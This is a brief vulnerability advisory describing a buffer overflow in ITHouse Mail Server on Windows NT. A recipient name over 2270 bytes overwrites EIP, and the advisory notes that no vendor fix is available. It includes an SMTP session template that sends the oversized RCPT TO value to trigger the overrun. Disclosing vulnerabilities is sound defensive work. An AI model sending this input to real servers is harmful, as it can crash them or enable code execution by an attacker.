I. Description  
================================================================================  
  
  
Delphis Consulting Internet Security Team (DCIST) discovered the following  
vulnerability in the ITHouse Mail Server under Windows NT.  
  
Sending an email via SMTP to an IT House Mail Server with a recipient's name in  
excess of 2270 bytes causes the IT House Mail Server to buffer overrun overwriting  
the EIP (2270 + EIP). This could allow an attacker to execute arbitrary code on the   
the server.  
  
Example:  
HELO example.org  
MAIL FROM:example@example.org  
RCPT TO:<A x 2270> + EIP  
DATA  
  
.  
QUIT  
  
Wait for the mail delivery routine to start at which point the server will crash  
executing the arbitrary code.  
  
  
II. Solution  
================================================================================  
  
Vendor Status: Informed  
  
Currently there is no known solution to this problem.
